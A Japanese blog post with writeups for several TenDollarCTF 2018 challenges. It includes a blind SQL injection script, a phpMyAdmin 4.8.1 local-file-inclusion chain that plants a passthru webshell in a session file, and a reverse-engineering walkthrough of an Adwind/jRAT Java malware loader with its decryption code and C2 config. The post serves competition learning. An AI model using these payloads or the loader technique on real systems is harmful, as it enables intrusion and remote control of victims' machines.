ふるつき

私は素直に思ったことを書いてるけど、上から目線だって言われる

TenDollarCTF 2018 writeup

 2018/11/24 9:00〜2018/11/25 15:00の期間にTenDollar CTF(tendollar.kr)に参加していました。このCTFは個人戦&招待制という色の強いCTFです。なんでこうしてるんだろう。ともかく、st98プロにinvitation codeをもらってzer0ptsとして参加しました。

 点数が解いた人数で変動するタイプのCTFで、結果は2500点で14位。もう一問解けたらTop10に入れそう、というところなので少し悔しさが残ります。Pwnに挑戦すらしていないのとか、Webわからんくて投げるのとかが悪そうで、一人でやるCTFはバランスよく解いて回るか、PwnかWebを全完する勢いで解き尽くすかできないとパフォーマンスがでない印象です。

 なんにせよ以下writeupです。


[Misc 150] Ping! Ping! Ping!

 18Solves あるので簡単な問題といえます。配点の減り方は 1000 - (18 - 1) * 50 だと思う。pcapファイルが渡されて、中身はICMP echoのrequest/replyがずらりと並んでいるだけでした。Wiresharkで雑にパケットの中身を眺めていると、requestの方のデータ部に"PK"などの文字が見えます。ひとまずこれを抽出することにしました。

 こういう場合はtsharkを使うのが楽だと学習しているので、tsharkを使いました。必ず使い方を忘れるのですが、過去記事をたどれば良いことを憶えているのでそんなに大きなロスになりません。ブログをちゃんと備忘録として使えていて偉いと思う。

$ tshark -r ping_ping_ping.pcapng -Y 'ip.dst eq 10.211.55.6' -Tfields -e data.data > packet.data
$ head -3 packet.data
50:4b:03:04:14:00:06:00:08:00:00:00:21:00:df:a4:d2:6c:5a:01:00:00:20:05:00:00:13:00:08:02:5b:43:6f:6e:74:65:6e:74:5f:54:79:70:65:73:5d:2e:78:6d:6c:20:a2:04:02:28:a0:00
02:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00

 これをバイナリに直します。こういうのpythonよりも楽なワンライナーがありそう。

lines = open("packet.data", "r").read().split("\n")
data = []
for l in lines:
    if len(l) == 0:
        continue
    bs = l.split(":")
    for b in bs:
        data.append(chr(int(b, 16)))
open("raw", "wb").write("".join(data))

 変換後のファイルrawfileコマンドにかけると、Microsoft Word 2007+という結果が出たのでLibre Writerで開くとフラグが書いてありました。 TDCTF{Do_you_know_about_the_icmp_protocol?}

 ボーナス問題っぽい。

[Web 450]Linked List 1

 この問題がここまで解かれていないのにはちょっと首を傾げる、そのくらい簡単な問題です。LinkedListを操作できるPHPページの問題で、最初に名前を登録してsessionを開始します。ソースコードが配られているのですが、該当部分はこんな感じ。こんなに@を使ってるPHPのコードを見たのははじめてです。set_ini(display_errors, 0);で十分だと思うのですが、なんでだろう。あと配られたソースコードtemplatesが空っぽだったのはなんなんでしょうね。

if (@$_POST['name']) {
    @$_SESSION['link'] = @array('name' => @htmlspecialchars(@$_POST['name']), 'time' => @time());
    @die("<script type='text/javascript'>location.href='.';</script>");
}

 このサービスはフラグを2つ持っていて、もう一つはLinked List 2なわけですが、1のフラグを吐く箇所はこんな感じです。

if (@$_SESSION['link']['admin_only_list']) {
    unset($_SESSION['link']);
    die("<script type='text/javascript'>alert('GJ!!! The first flag is ".@addslashes(@$flag1)."');location.href='.';</script>");
    ...
}

Listへのinsert時にこういう↓コードがあるので、ユーザ名をadmin_onlyにして開始するだけでフラグが得られます。

if (@$_GET['p'] == 'insert_first' && isset($_GET['value'])) {
    ...
    @$arr[0] = @htmlspecialchars(@$_GET['value']);
    @$_SESSION['link'][@$_SESSION['link']['name']."_list"] = @json_encode(@$arr);
    @die("<script type='text/javascript'>location.href='.';</script>");
}

TDCTF{easy_7o_solve123}

[Web 250]I'm Blind Not Deaf

 逆にこちらは解かれすぎの印象。前半のSolved数は少なかったんですが、寝て起きたら急にSolved数が増えていた。私も寝るまで粘って何故か解けずをしていたのが起きたら解けたという一人ですが。

 2ステージある問題で、最初はBlind SQL Injection。こういうソースコードが渡されます。GETパラメタとしてpwを渡すとSQL Injectionができるので、rootのパスワードを抜けという感じ。2行目のpreg_matchが寝ているので(最初の/がない)、and or substr = にだけ気をつければ良さそう(substrのチェックって substr ( みたいなので回避できるんですかね)。rootが最初の要素として得られるクエリを作れればページにHello rootと表示してくれるので、これがあるかで判定するBlind SQL Injectionになります。

<?php
include './config.php';
if(preg_match('tdf|/_|\.|\(\)/i', $_GET[pw])) exit("No Hack Please~! -0-"); 
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("Manner Please~! :) :)"); 
$query = "select id from tdf where id='root' and pw='{$_GET[pw]}'"; 
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = mysqli_query($conn,$query);
$row = mysqli_fetch_array($result);
if($row['id'] == 'root'){
#echo "<h2>Nice Meet You! {$row['id']}</h2>";
echo "<h2>Hello {$row[id]}</h2>";
}
 
$_GET[pw] = addslashes($_GET[pw]); 
$query = "select pw from tdf where id='root' and pw='{$_GET[pw]}'"; 
$result = mysqli_query($conn,$query);
$row = mysqli_fetch_array($result);
if(($row['pw']) && ($row['pw'] == $_GET['pw'])){
echo $nice_tendollar;
}
highlight_file(__FILE__); 
?>

 私が作ったクエリはこんな感じ' UNION SELECT 'root' from tdf where (select 'b' from tdf where pw like '{}%') > 'aで、like句を使ってパスワードを1文字ずつ当てに行きます。スクリプトも書きましたが、Blind SQL Injectionをやる機会は多いのでそろそろテンプレート化したい。

import requests
import string

BASE = "http://blind.tendollar.kr:8100/"
pw="' UNION SELECT 'root' from tdf where (select 'b' from tdf where pw like '{}%') > 'a"

table = string.ascii_letters + '0987654321{}_-' 
a = ""
while True:
    f = False
    for c in table:
        payload = pw.format(a + c)
        r = requests.get(BASE, params={'pw': payload})

        if "Hello root" in r.text:
            f = True
            a += c
            print(a)
            break
    if not f:
        print(a)
        break

 得られたpwの値は70801f6aで、こんなに数字が多いと知っていればtableの配置を工夫できたのになという感じです。これを入力すると、echo $nice_tendollar;が実行されます。中身にflag.txtとあるのであとでめちゃめちゃflag.txtを探し回るんですが、困り果てた挙げ句運営にDMしたら、別にflag.txtにフラグがあるわけではないとのこと。あとで注意書きも加えられてしまったしちょっとださかった。

Congraturation!!!!
Next Question: LFI(Local File Inclusion) in phpMyAdmin 4.8.0~4.8.1...
URL:phpmyadmin/index.php......... flag.txt
root's password:@1@2@3@4qwerasdf

 とにかく、PHPMyAdminが立っているらしいのでログインします。問題の指示に従って"phpmyadmin 4.8.1 lfi"などで検索すると、簡単に情報が見つかります。たとえばこれですね。

 これの手順に沿ってなんどもやってうまく行かなかったんですが、諦めて翌朝やってみたら通りました。手順としては、

  1. PHPMyAdminSQLクエリを実行できるところでselect '<?php phpinfo(); exit();?>'する。phpinfoは脆弱性が動くかどうか確認するためにやるだけで、このあとはselect '<?php passthru($_GET["q"]); exit();?>'とします。
  2. cookieから、KeyがphpMyAdminとなっているものの値をコピーする。
  3. http://blind.tendollar.kr:8100/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../tmp/sess_<cookieの値>&q=ls / にアクセスするとsessionファイルがincludeされてPHPが実行される。

 という感じです。これをやると、FLLLLLL4444444GGGGGGというファイルが見つかるのでcatします。謎に嵌って時間を取られた。確かに /tmp/sess_*も試していたはずなんですが……

TDCTF{F_cong_L_gra_A_tu_G_ration}

[Misc 700]Remember

 高配点のMiscになりました。Hintが出るまで手も足も出なかった。謎の画像が配られます。なんかお兄さんたちが楽しそうに写真に写っています。楽しそう。このファイル(challenge.png)、stegsolveなんかにかけても何も得られないんですが、pngcheckをかけるとadditional data after IEND chunkと言われます。しかしbinwalkではそのようなものが見つからず、かなり試行錯誤した末の投げやりなforemostが当たりました。

 foremostによって抽出されたファイルを見てみると、challenge.pngと同じ画像ともうひとつ、またお兄さんたちが楽しそうにしている別の写真がでてきます。つながってたのかな。こちらはstegsolveにかけてみると、Alpha Bitsが明らかに怪しい感じです。左端の方だけごみごみとしていました。

 この頃にはすでにHintとして昨年のwriteupが紹介されていたので、このスクリプトをそのまま使いました。するとalpha bitsからzipが復元されました。

 このあと復元したzipのパスワードがわからずJohn the Ripperなどを使って盛大に悩むんですが、ちゃんとwriteupを読めという話で、昨年の問題ではパスワード付きzipのパスワードbitを寝かせてやるとそれだけでunzipできるよ! と書いてありました。時々ありますがこれはあんまり好きじゃない。この寝かせるのをやりやすいツールがあると良いんですが知らないので、pythonを使ってzipファイルのバイナリを編集しました。小さいファイルなので雑にやってもうまく行きます。

a = open("dec_challenge.zip", "rb").read()
x = a.find("PK\x03\x04")
y = a.find("PK\x01\x02")

b = list(a)
b[x+4+2] = "\x00"
b[y+4+2+2] = "\x00"

open("tako.zip", "wb").write("".join(b))

 これでzipファイルの中にあったnice_try.txtが抽出できました。中身はBrainF*ckなのでインタプリタにかけました。

-[--->+<]>-.[----->+<]>.-.>-[--->+<]>-.[----->+<]>++.>--[-->+++++<]>.-[->+++<]>.-----.------.++.------.++.+++++++++++++.----------.-----.++++++.----.--[--->+<]>--.++++++.[->+++++<]>++.[--->+<]>-.-----.+[----->++<]>-.+++++++++.+.-----.+.------.++++++++++++++.--------.[--->+<]>----..++[->+++<]>++.++++++.--.>--[-->+++<]>.

TDCTF{nice_and_easy_to_hide_message}

[Rev 950] InterMutation

私を入れて2人しか解いていないので950点と高配点の問題です。FirstBloodを頂いて、終了1時間前くらいまではずっと私が点数を独占していた問題なので、欲を言うと最後まで解かれてほしくなかった。いろいろやったので手順前後などがあるかもしれませんが、記憶を頼りにwriteupしていきます。

 ENCRYPT_KEYがFlagだという文言とともにmalware.zipという物騒なファイルが渡され、unzipするとmalware.jarという物騒なファイルが出てきます。jar -xf malware.jarとして展開します。com/intermutation/inweavedcom/intermutation/thoracaortaというディレクトリにないにhogehoge.xxxのようなファイルがばらまかれますが、jarファイルのお決まりに反して、殆どはclassファイルではありません。

 唯一のclassファイルであったAlmighty.classデコンパイルします。最近はcfrというデコンパイラを使っています。Almightly.classをデコンパイルすると、次のような感じで、Javaによって作られたJavaScriptエンジンを呼び出しているようです。

/*
 * Decompiled with CFR 0.135.
 */
package com.intermutation.thoracaorta;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;

public class Almighty {
    public static ScriptEngine madrones;

    public static void main(String[] arrstring) throws Throwable {
        madrones = new ScriptEngineManager().getEngineByName("javascript");
        madrones.eval("IIIIIIIIIIIIIIIIIiIIIiIiiIiiIIII = java.lang.Byte[('TYPE')]; IIIIIIIIIIIIIIIIIIIiiiIIiiiIIIII=('q'+'ua.e'+'nter'+'prise.re'+'aqto'+'r'+'.'+'r'+'eaqtion'+'s.stan'+'dart'+'bootst'+'rap.Hea'+'der'); Iiiiii

 がんばってJS部分をbeautifyすると、次のようになりました。

stdbootstrap = 'qua.enterprise.reaqtor.reaqtions.standardbootstrap.Header';
almightly = java.lang.Class['forName']('com.intermutation.thoracaorta.Almighty');
classLoader = almightly.getClassLoader();

f = function() {
    byteArray = java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, [5301, 5312, 5301, 5301]);
    resource = almightly.getResource('/com/intermutation/thoracaorta/Femurs.toy');
    stream = resource.openStream();
    inputStream = new java.io.DataInputStream(stream);
    inputStream.readFully(byteArray);
    aesCipher = javax.crypto.Cipher.getInstance('AES');
    secretKey = 'nPFTbER4KORr6vbf'.getBytes('UTF-8');
    key = new javax.crypto.spec.SecretKeySpec(secretKey, ('AES'));
    aesCipher.init(javax.crypto.Cipher.DECRYPT_MODE, key);
    decrypted = aesCipher.doFinal(byteArray);
    classLoader = java.lang.ClassLoader.class;
    stringClass = java.lang.String.class;
    decryptedClass = decrypted.getClass();
    integerType = java.lang.Integer.TYPE;
    defineClass = classLoader.getDeclaredMethod('defineClass', stringClass, decryptedClass, integerType, integerType);
    defineClass.setAccessible(true);
    qua = defineClass.invoke(classLoader, 'qua.enterprise.reaqtor.reaqtions.standartbootstrap.Header', decrypted, 0, decrypted.length);
    hoge = qua;
};
f();
hoge.newInstance();

 雑な理解によれば、/com/intermutation/thoracaorta/Femurs.toyというファイルを読み込んできて復号しています。AESの鍵も埋まっていて、まさかそんなと思いながらTDCTF{nPFTbER4KORr6vbf}をSubmitしましたが当然はずれでした。復号してきたファイルがとあるクラスのByte列らしく、defineClassでクラス(かオブジェクト、よくわからない)に無理やりキャストして、そのあとnewInstanceを呼んでいるようです。

 この処理にしたがってFemrus.toyデコンパイルします。こういうJavaを書きました。

import java.security.AlgorithmParameters;
import java.security.Key;
import java.security.SecureRandom;
import java.lang.reflect.Method;
import java.lang.reflect.Field;
import java.security.ProtectionDomain;
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.spec.SecretKeySpec;
import java.io.RandomAccessFile;

class Hoge {
        public static void main(String[] args) throws Exception {
                byte[] secretKey = "nPFTbER4KORr6vbf".getBytes("UTF-8");

                RandomAccessFile f = new RandomAccessFile("com/intermutation/thoracaorta/Femurs.toy", "r");
                byte[] b = new byte[(int)f.length()];
                f.readFully(b);

                SecretKeySpec key = new javax.crypto.spec.SecretKeySpec(secretKey, "AES");
                Cipher cipher = Cipher.getInstance("AES");
                cipher.init(Cipher.DECRYPT_MODE, key);
                byte[] bytes = cipher.doFinal(b);

                System.out.println(bytes.toString());

                ClassLoader loader = new ClassLoader() {};
                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", 
                                                                 String.class,
                                                                 byte[].class, 
                                                                 int.class, 
                                                                 int.class, 
                                                                 ProtectionDomain.class);
                defineClass.setAccessible(true);
                Class<?> c = (Class<?>) defineClass.invoke(loader, "qua.enterprise.reaqtor.reaqtions.standartbootstrap.Header", bytes, 0, bytes.length, null);


                // System.out.println(c.getName());
                // System.out.println(c.getClassLoader());
                // System.out.println("----");


                // Field[] allFields = c.getClass().getDeclaredFields();
                // for (Field field : allFields) {
                //         System.out.println(field.getType().getTypeName()+":"+field.getName());
                // }
                // System.out.println("----");

                // Method[] allMethods = c.getClass().getDeclaredMethods();
                // for (Method method : allMethods) {
                //         System.out.println(method.getName());
                // }
        }
}

 コメントアウト部分は頑張ってクラスを解析しようとしていた形跡です。結局うまく行かないしinvokeも失敗したので、復号後のバイト列をHeader.classみたいなファイルにリダイレクトしてcfrデコンパイルしました。多分いろいろ手を加えたやつですが、Header.javaはこんな感じです。

/*
 * Decompiled with CFR 0.135.
 * 
 * Could not load the following classes:
 *  qua.enterprise.reaqtor.reaqtions.standartbootstrap.Header
 */

import java.io.ByteArrayInputStream;
import java.io.DataInputStream;
import java.io.IOException;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Method;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.NoSuchAlgorithmException;
import java.security.ProtectionDomain;
import java.util.Map;
import java.util.zip.GZIPInputStream;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;

/*
 * Exception performing whole class analysis ignored.
 */
public class Header
extends ClassLoader {
    private static String obfuscationAppendix = "73x30fawybwxf1zp6cwa4oSJzrLPtfhypaNvW8zxtFltfr5S6dUcfur1ns7FB7OxacWawrjXZ70ZyFIYPPaxHKGtGrB7GHSFhEB9vWiVReTmTLjuZuG9vOQTZUatLOUH4lViamFxTvEBMcjvI68zeH5p3G3rYVA14PVnaU3gF4mId0RIbbip5U9J7oWVVQ44GZIBCDWo0FAoYYAC6vLeRuxon2Vr2iQ47XyAAMZ5kdRmWrmFeuwuIE9ihQ0hIcoakhrl3dkgmq0T4to76qRnD0cYCyqO41D2y1YlprCdVxxYV1ezJFTaAjI3xMnIsyc2QYkQIoRqNv8d8AWvwcenS29Kao1EkfmtXbVehX0VT0qscqTUZmtgUre22X4xRH5G4WrZ5djt2t1quIt5Q1NcZNuaNsAMaXUOX5pHo";
    private static String firstClassName = "com.intermutation.thoracaorta.Almighty";
    private static Class firstClass;
    private static ProtectionDomain firstClassProtectionDomain;
    public static String CAT_bootstrap;
    public static String CAT_obfuscated;
    public static final String[] predefinedClassNamesToBeLoaded;
    private static Map<String, Object[]> obfuscatedEntryList;

    public Header() throws Exception {
        super(Header.class.getClassLoader());
        obfuscatedEntryList = (Map)Header.decryptObject((String)"#", (Object[])new Object[]{new String[]{".encrypted", ".splitted", ".compressed", ".not-fixed"}, new String[]{"com/intermutation/inweaved/Piny.bbl", "com/intermutation/thoracaorta/Bastard.fiz", "com/intermutation/inweaved/Crankless.civ", "com/intermutation/thoracaorta/Sapphists.cuj", "com/intermutation/thoracaorta/Precancelled.rom"}, new int[]{13521, 3120, 3106, 13521}, "qcNVmpvc37PZYmB2"});
        String[] arrstring = new String[]{"qua.enterprise.reaqtor.reaqtions.standartbootstrap.Loader", "qua.enterprise.reaqtor.reaqtions.standartbootstrap.Loader$1$1", "qua.enterprise.reaqtor.reaqtions.standartbootstrap.Loader$1"};
        String string = "qua.enterprise.reaqtor.reaqtions.standartbootstrap";
        String string2 = string + '.' + predefinedClassNamesToBeLoaded[0];
        Class class_ = null;
        Class[] arrclass = new Class[arrstring.length];
        int n = 0;
        for (String object : arrstring) {
            byte[] arrby = Header.decrypt((String)object, (Object[])Header.getEntryData((String)CAT_bootstrap, (String)object));
            int n2 = n++;
            // System.out.println(object);
            // try (FileOutputStream fos = new FileOutputStream("" + n2 + ".class")) {
            //         fos.write(arrby);
            // }

            Class class_2 = this.defineClass(object, arrby, 0, arrby.length, firstClassProtectionDomain);
            arrclass[n2] = class_2;
            Class class_3 = class_2;
            if (!string2.equals(object)) continue;
            System.out.println(n2);
            class_ = class_3;
        }
        for (Class class_4 : arrclass) {
            this.resolveClass(class_4);
        }

        // ★
        for (String k : obfuscatedEntryList.keySet()) {
                String pre = k.substring(0, 10);
                String post = k.substring(11, k.length());
                if (!pre.equals("obfuscated")) {
                        continue;
                }
                byte[] arr = Header.decrypt(post, (Object[])Header.getEntryData(pre, post));
                try (FileOutputStream fos = new FileOutputStream(post)) {
                        fos.write(arr);
                }
        }
//        System.out.println((Object[])Header.getEntryData("obfuscated", "operational/Jrat.class"));
//        byte[] arrby = Header.decrypt((String)"operational/Jrat.class", (Object[])Header.getEntryData((String)"obfuscated", (String)"operational/Jrat.class"));
//        try (FileOutputStream fos = new FileOutputStream("jRat.class")) {
//                fos.write(arrby);
//        }
//

        // ClassLoader classLoader = (ClassLoader)class_.newInstance();
        // Class<?> class_4 = classLoader.loadClass("operational.Jrat");
        // Method method = class_4.getMethod("main", String[].class);
        // method.invoke(null, new Object[]{new String[0]});
    }

    public static Object[] getEntryData(String string, String string2) {
        String string3 = string + '/' + string2;
        Object[] arrobject = (Object[])obfuscatedEntryList.get(string3);
        return arrobject;
    }

    public static Object decryptObject(String string, Object[] arrobject) throws IOException, InvalidKeyException, NoSuchAlgorithmException, NoSuchPaddingException, IllegalBlockSizeException, BadPaddingException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(Header.decrypt((String)string, (Object[])arrobject)));
        return objectInputStream.readObject();
    }

    public static byte[] decrypt(String string, Object[] arrobject) throws IOException, InvalidKeyException, NoSuchAlgorithmException, NoSuchPaddingException, IllegalBlockSizeException, BadPaddingException {
        byte[] arrby;
        byte[] arrby3;
        String[] arrstring = (String[])arrobject[1];
        int[] arrn = (int[])arrobject[2];
        String string2 = (String)arrobject[3];
        int n = arrn[0];
        int n2 = arrn[1];
        byte[] arrby4 = string2.getBytes();
        byte[] arrby5 = new byte[1024];
        byte[] arrby6 = new byte[n2];
        int n3 = 0;
        for (String arrby22 : arrstring) {
            int gZIPInputStream;
            InputStream stream = Header.class.getClassLoader().getResourceAsStream(arrby22);
            while ((gZIPInputStream = stream.read(arrby5)) > -1) {
                System.arraycopy(arrby5, 0, arrby6, n3, gZIPInputStream);
                n3 += gZIPInputStream;
            }
        }
        Cipher cipher = Cipher.getInstance("AES");
        SecretKeySpec secretKeySpec = new SecretKeySpec(arrby4, "AES");
        cipher.init(2, secretKeySpec);
        byte[] arrby2 = arrby3 = cipher.doFinal(arrby6);
        arrby = new byte[n];
        n3 = 0;
        GZIPInputStream gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(arrby2));
        DataInputStream dataInputStream = new DataInputStream(gZIPInputStream);
        dataInputStream.readFully(arrby);
        return arrby;
    }

    static {
        if (firstClassName != null) {
            try {
                firstClass = Class.forName(firstClassName);
            }
            catch (Throwable throwable) {
                throw new RuntimeException(throwable);
            }
            firstClassProtectionDomain = firstClass.getProtectionDomain();
        }
        CAT_bootstrap = "bootstrap";
        CAT_obfuscated = "obfuscated";
        predefinedClassNamesToBeLoaded = new String[]{"Loader"};
    }
}

 おそらくどこかからnew Header()と呼ばれることを想定したクラスで、static初期化子(?)と、特にコンストラクタが意味有りげです。コンストラクタではdecryptObjectdecryptというメソッドが呼ばれています。こちらを見ていくと、どうやら処理はAlmight.javaでの復号と似たもののようです(記憶が蘇ってきたんですが、リソースファイルを読み込むところがコンパイルできなかったので自分で書き直したっぽい)。

 そのあといろいろ悩むんですが省略して、コンストラクタ最初で復号されるobfuscatedEntryListが名前の通り暗号化されたファイルのリストになっているので、★のあたりの処理を加えて一気に復号することにしました(Headerのインスタンスを作るだけのjavaを書いて実行しています)。

 これで大量にファイルが復号されるのですが、このサイトを見てAdWindDecryptor.jarGitHubから手に入れ、復号されたEyh/OlQ/ka.qZZ l/BIS/b.Zbx tI/P/tma.aからconfig-decrypted.jsonを生成します。●

$ java -jar ../AdWindDecryptor.jar -r tma.a -a b.Zbx -i ka.qZZ -o config-decrypted.json

 config-decrypted.jsonはその実jarファイルなので、やはりjar -xfとして展開し、server/resources内のファイルらについて、もう一度AdWindDecryptor.jarをやります。

$ java -jar ../../../AdWindDecryptor.jar -r Key1.json -a Key2.json -i config.json -o config-decrypted.json

 すると今度は本当にjsonが出てきます。結構大きなファイルなので整形した物の先頭付近だけ掲載しておきます。

{
  "NETWORK": [
    {
      "PORT": 2888,
      "DNS": "findthekeymatchdomain.com"
    }
  ],
  "INSTALL": true,
  "MODULE_PATH": "r/B/GD.bIu",
  "PLUGIN_FOLDER": "ucRjANkyiSG",
  "JRE_FOLDER": "UAfqbC",
  "JAR_FOLDER": "NSEzIfVRipw",
  "JAR_EXTENSION": "dGYsUs",
  "ENCRYPT_KEY": "aEkoTmxohieYivqcjBwIAkYXn",
  "DELAY_INSTALL": 2,
  "NICKNAME": "GOD MODE",
  "VMWARE": false,
  "PLUGIN_EXTENSION": "vzkgY",
  "WEBSITE_PROJECT": "https://jrat.io",

というわけでFLAGはTDCTF{aEkoTmxohieYivqcjBwIAkYXn}です。

 ……のように格好良くESPerが発動すればよかったんですが、実際は●地点でoperationalというディレクトリを見に行って泥沼でした。こちらにはjRat.classのようないかにも怪しいファイルがあって、頑張って難読化を掻い潜っていくと忘れたして、偽物のconfig-decrypted.jsonにたどり着きます。こちらはファイルサイズは小さいのですが中身はこんな感じで、しれっとENCRYPT_KEYが鎮座しているので飛びついてしまいました。

{
  "NETWORK": [
    {
      "PORT": 7777,
      "DNS": "127.0.0.1"
    }
  ],
  "INSTALL": false,
  "MODULE_PATH": "zS/lq/BTk.GI",
  "PLUGIN_FOLDER": "DdWDtpinxpf",
  "JRE_FOLDER": "HSIROD",
  "JAR_FOLDER": "fUTkALeaTxM",
  "JAR_EXTENSION": "Vybgol",
  "ENCRYPT_KEY": "cPFjgddXIBcXBCIseEuXTZjwi",
  "DELAY_INSTALL": 2,
  "NICKNAME": "User",
  "VMWARE": false,
  "PLUGIN_EXTENSION": "DhjWU",
  "WEBSITE_PROJECT": "https://jrat.io",
  "JAR_NAME": "uiylKSALYJr",

 あまりにこれが「それ」すぎるので運営に質問しましたがこれは違うとのことでした。なんやねんこれ。まあ解けたので良しです。解けなかったらクソ問って言ってるところでした。

その他感想など

思い立った順に適当に並べてます

  • 問題数や難易度、開催時間がいい感じですごく楽しめた。InterMutationも解けたので満足度が高いです :)
  • st98プロがプロすぎてプロ
  • Modem一切わからなかったのがとってもつらい
  • Ninja, XSSあたりはSolvedも多いし普通に解けそうにみえるんですがわからなかった。XSSXSSしたあとなにすればいいのか詰まっちゃって、Ninjaは一切ないもわからんかった
  • Kou解きたかった。結局LFIっぽいのができただけで終了です。include_once("../board/" + $_GET["f"]);みたいな感じなのかな。どうやってindex.php読むんだろう。
  • Cat Proxyもこういう「なにかできそう」ってさしだされている問題は解きたいんだけど解けなかった。わかりません。
  • Linked List 2をちゃんと読んで解かなかったのは怠慢感がある
  • On My Wayは解析はサクサクできて、適当にLEVELを9まであげてx,yをそれぞれ0-100まで2から4ずつ変化させてGを探していたんですが見つかりませんでした……。何をすればいいのか。
  • へんなところで嵌って解けない問題が多くてつらい。
  • Pwnやれ
  • InterMutationでニセENCRYPT_KEYに嵌ってDMしたときに丁寧に対応してくれたのが印象良すぎてそのあと「Thank you!!!!! I've solved!!!!!!!!!!!!!!!!  💪」とかおくったのはやりすぎ感がある。あのときはちょっとテンション上がってました。